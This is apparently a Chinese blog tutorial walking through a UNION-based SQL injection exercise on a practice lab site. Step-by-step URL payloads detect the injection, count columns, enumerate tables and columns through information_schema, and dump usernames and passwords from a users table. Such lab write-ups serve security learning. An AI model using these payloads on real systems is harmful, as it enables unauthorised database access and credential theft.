sql_lab中sql注入之union联合注入

1.判断注入类型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1没有回显

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=1

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1 and 1=2 and1=1和and1=2回显效果一致,则判断不是数字型

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1'' 有回显

则判断出是字符型注入,且注入是'注入

2.判断注入点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=1 --+ 表示and两边结果为真,返回结果正常

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' and 1=2 --+ 表示一边为真一边为假,没有返回值

则判断是sql注入

3.判断字段数量

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 5 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 4 --+ 没有结果

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=1' order by 3 --+ 有回显结果

说明该数据库的字段数量是3

4.用union联合查询,判断回显点

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,2,3 --+

5.查询使用的是那个数据库

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),3 --+

6.查询表名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema="security" --+

查询到了security数据库里面的所有表名

7.查询users表里面的字段名

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users" --+

8.查username和password

http://sss-s347glt.gxalabs.com/Pass-02/index.php?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

相关推荐
学地理的小胖砸20 分钟前
【Python 操作 MySQL 数据库】
数据库·python·mysql
不知几秋22 分钟前
sqlilab-Less-18
sql
dddaidai1231 小时前
Redis解析
数据库·redis·缓存
数据库幼崽1 小时前
MySQL 8.0 OCP 1Z0-908 121-130题
数据库·mysql·ocp
Amctwd1 小时前
【SQL】如何在 SQL 中统计结构化字符串的特征频率
数据库·sql
betazhou2 小时前
基于Linux环境实现Oracle goldengate远程抽取MySQL同步数据到MySQL
linux·数据库·mysql·oracle·ogg
lyrhhhhhhhh2 小时前
Spring 框架 JDBC 模板技术详解
java·数据库·spring
喝醉的小喵3 小时前
【mysql】并发 Insert 的死锁问题 第二弹
数据库·后端·mysql·死锁
付出不多4 小时前
Linux——mysql主从复制与读写分离
数据库·mysql
初次见面我叫泰隆4 小时前
MySQL——1、数据库基础
数据库·adb